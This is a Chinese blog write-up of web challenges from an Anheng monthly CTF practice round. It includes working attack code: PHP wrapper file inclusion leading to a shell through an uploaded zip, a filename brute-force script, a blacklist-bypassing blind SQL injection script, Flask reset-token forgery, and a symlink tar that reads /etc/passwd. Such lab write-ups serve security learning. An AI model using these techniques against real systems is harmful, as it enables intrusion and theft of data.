安恒赛php_安恒11月月赛周周练writeup

原创

weixin_39881513 于 2020-12-21 17:07:52 发布 79 收藏
文章标签： 安恒赛php

前言

11月月赛 完美错过时间，正好有周周练，基本都是一样月赛的web，记录下write up

手速要快

这题是10月月赛中的一题，直接看我上次的writeup：安恒月赛(十)web-2题writeup，这里不重复了

image_up

image.png

随意输入username和password登陆，

image.png

随意尝试上传了文件，好像只能jpg结尾，上传后无回显任何内容。

page=upload当前页应该是page参数来控制的，当前为upload.php 而php没有显示。

伪协议

尝试用伪协议读取：

/index.php?page=php://filter/read=convert.base64-encode/resource=index

base64 decode下

index.php

```
if(isset($_GET['page'])){
if(!stristr($_GET['page'],".."){ // page中不能有..
$page = $_GET['page'].".php"; // 自动加.php
include($page);
}else{
header("Location: index.php?page=login");
}
}else{
```

header("Location: index.php?page=login");

}

string stristr (string $haystack , mixed $needle [, bool $before_needle = FALSE])

返回 haystack 字符串从 needle 第一次出现的位置开始到结尾的字符串。

参数

haystack

在该字符串中查找。

needle

如果 needle 不是一个字符串，那么它将被转换为整型并被视为字符顺序值。

before_needle

若为 TRUE，strstr() 将返回 needle 在 haystack 中的位置之前的部分(不包括 needle)。

参数 needle 和 haystack 将以不区分大小写的方式对待。

返回值

返回匹配的子字符串。如果 needle 未找到，返回 FALSE。

如果page中带有..就不能进入if了

.php是自动加上的，我们再把login.php读下

login.php

Login Form
if(isset($_POST['username'])&&isset($_POST['password'])){

header("Location: index.php?page=upload");

exit();

}

?>

login

接着读upload

upload.php

Upload Form
$error = "";

$exts = array("jpg","png","gif","jpeg");

if(!empty($_FILES["image"]))

{

$temp = explode(".", $_FILES["image"]["name"]); # 分隔文件名和后缀

```
$extension = end($temp); # 取到后缀
if((@$_upfileS["image"]["size"] < 102400))
{
if(in_array($extension,$exts)){
$path = "uploads/".md5($temp[0].time()).".".$extension; # 构造文件名
move_uploaded_file($_FILES["image"]["tmp_name"], $path); # 从临时文件移动到path
$error = "上传成功!";
}
else{
$error = "上传失败！";
}
}else{
$error = "文件过大，上传失败！";
}
}
?>
```

login

PS：end() 将 array 的内部指针移动到最后一个单元并返回其值。

看脚本已经很明白了，文件名我们是可控的，再加之我们可以用page参数包含，但是不能向上包含，所以得配合zip伪协议来getshell，一步一步来，

上传 后缀.jpg的zip压缩包(配合zip伪协议)

利用脚本跑到我们的上传后文件

包含getshell

跑filename脚本

```
#!/usr/bin/env python
# -*- coding:utf-8 -*-
# @Author:iSk2y
import requests
import hashlib
import time
def filename_md5(t):
```

```
m = hashlib.md5()
m.update(('test' + str(t)).encode())
return m.hexdigest()
url = 'http://101.71.29.5:10007/'
files = {
'image': ('test.jpg', open('test.jpg', 'rb'),'multipart/form-data')
}
upload_time = int(time.time()+8*3600)
r = requests.post(url=url + 'upload.php', files=files)
for i in range(upload_time-50, upload_time+50):
path = url + 'uploads/' + filename_md5(i) + '.jpg'
code = requests.get(path).status_code
if code == 200:
print(path)
break
```

这里有个坑，服务器时间和我们本地时间差了8个小时。。。我去，。。。

利用zip伪协议

/index.php?page=zip://./uploads/bf6bcbd472975518ed9dbf1ef021f251.jpg%23test

image.png

Mark

伪协议知识点整理

好黑的名单

看样子应该是注入了，而且黑名单过滤了很多关键词应该

测试后得到信息：

id=1 id=2 id=3 有正常记录

正常返回页面中内容有 郑州烩面的价钱为10

image.png

错误返回页面中内容为 想让我下面给你吃？

image.png

遇到黑名单的词 返回内容为

image.png

服务器400错误

image.png

基本判断：

内容为 ：郑州烩面的价钱为10 是正常结果

内容为 ：想让我下面给你吃 是错误结果

内容为 ：这么坏？想让我下面给你吃吗？XD 是遇到黑名单

400错误 ：暂不确定额

测试了很多，很多都在黑名单中，如

',*, ,union,like,=,substr,left……

有错误和正确状态返回，盲注应该是可以采用的，但是比较符很多都被ban了，后来看wp说，这里要用到between and，还有regexp也能用(可能是非预期解)

```
mysql> select database();
+------------+
| database() |
+------------+
| practise |
+------------+
1 row in set (0.00 sec)
mysql> select database() between 'a' and 'z';
+--------------------------------+
| database() between 'a' and 'z' |
+--------------------------------+
| 1 |
+--------------------------------+
1 row in set (0.01 sec)
mysql> select database() between 'p' and 'z';
```

```
+------------------------------+
| database() between 'p' and 'z' |
+------------------------------+
| 1 |
+------------------------------+
1 row in set (0.00 sec)
mysql> select database() between 'q' and 'z';
+------------------------------+
| database() between 'q' and 'z' |
+------------------------------+
| 0 |
+------------------------------+
1 row in set (0.00 sec)
mysql> select database() between 'pr' and 'z';
+-------------------------------+
| database() between 'pr' and 'z' |
+-------------------------------+
| 1 |
+-------------------------------+
1 row in set (0.00 sec)
mysql> select database() between 'ps' and 'z';
+-------------------------------+
| database() between 'ps' and 'z' |
+-------------------------------+
| 0 |
+-------------------------------+
1 row in set (0.00 sec)
```

between and的用法如上，还有个小特性，如果第n位与最终值相同，比较的是n+1位。

那就写盲注脚本如下

```
#!/usr/bin/env python
# -*- coding:utf-8 -*-
```

```
# @Author:iSk2y

import requests

import string

import binascii

c = ','+string.digits + string.ascii_lowercase + '{|}~'

# 0123456789abcdefghijklmnopqrstuvwxyz

url = 'http://101.71.29.5:10008/show.php'

res = ''

# 不知道要跑的内容到底有多长 50吧

for len in range(1,50):

# 循环每个字符

for i in c[::-1]:

diff = '0x' + binascii.b2a_hex((res + i).encode()).decode()

# 库名： web web的hex是0x776562

# payload = '?id=1 and (select database() between {0} and {1})'.format(diff,hex(ord('z')))

# 表名为： admin,flaggg,menu flaggg的hex是0x666C61676767

# payload = '?id=1 and (SELECT(SELECT GROUP_CONCAT(table_name) FROM information_schema
.TABLES WHERE TABLE_SCHEMA between 0x776562 and 0x776562) between {0} and
{1})'.format(diff,hex(ord('~')))

# 字段名： id,f1agg

# payload = '?id=1 and (SELECT(SELECT GROUP_CONCAT(column_name) FROM information_schema
.COLUMNS WHERE TABLE_NAME between 0x666C61676767 and 0x666C61676767) between {0} and
{1})'.format(diff,hex(ord('~')))

payload = '?id=1 and (select (select f1agg FROM web.flaggg) between {0} and {1})'.format(diff,hex(ord('z')))

# print(payload)

payload = '%0A'.join(payload.split(' '))

# print(payload)

r = requests.get(url=url + payload)

if '烩面' in r.text:

# 有 价钱 就代表是正确

res += i

# print(res)

break
```

elif '下面' in r.text:

代表错误

continue

else:

print(r.text)

print(res)

image.png

image.png

image.png

flag{5d6352163c30ba51f1e2c0dd08622428}

interesting-web

flask暂时还不太熟悉，看了官wp，这题是根据cookie中session的token内容来找回admin的密码。admin可以登录后上传tar包内含软连接jpg图片，flag就在/etc/passwd 所以制作软连接时链向它就好了。

好吧是我太菜，第一次见识这个姿势。。

先走通整个流程后，看找回密码的点。

找回密码会把token发送到你注册时候的ip地址，可以自己测试下，最好准备好外网的ip。

而这个token其实是可以计算出来的，在访问reset时，响应response会发送set-cookie，

image.png

将session base64decode一下

eyJsb2dpbiI6dHJ1ZSwidG9rZW4iOnsiIGliOiJPR05rWkRRM1lqSmpORFEzT1RVM05XWmlORFJoT0dNek5UU

{

"login": true,

"token": {

" b": "OGNkZDQ3YjJjNDQ3OTU3NWZiNDRhOGMzNTQzOWQwN2I="

},

"username": "test2"

}

再将b键的内容base64decode下

OGNkZDQ3YjJjNDQ3OTU3NWZiNDRhOGMzNTQzOWQwN2I=

8cdd47b2c4479575fb44a8c35439d07b

下面这个其实就是发送给ip的token值，可以和网站发送过来的比对下。那么按照这个方法去找回admin的密码

找回密码后就可以上传tar包了

ln -s /etc/passwd 2.jpg

tar cvfp test.tar 2.jpg

image.png

image.png

flag{5be43c58a33a867cb11975587f8edf33}

Mark

Flask

软链接相关利用

还有几题后续更新……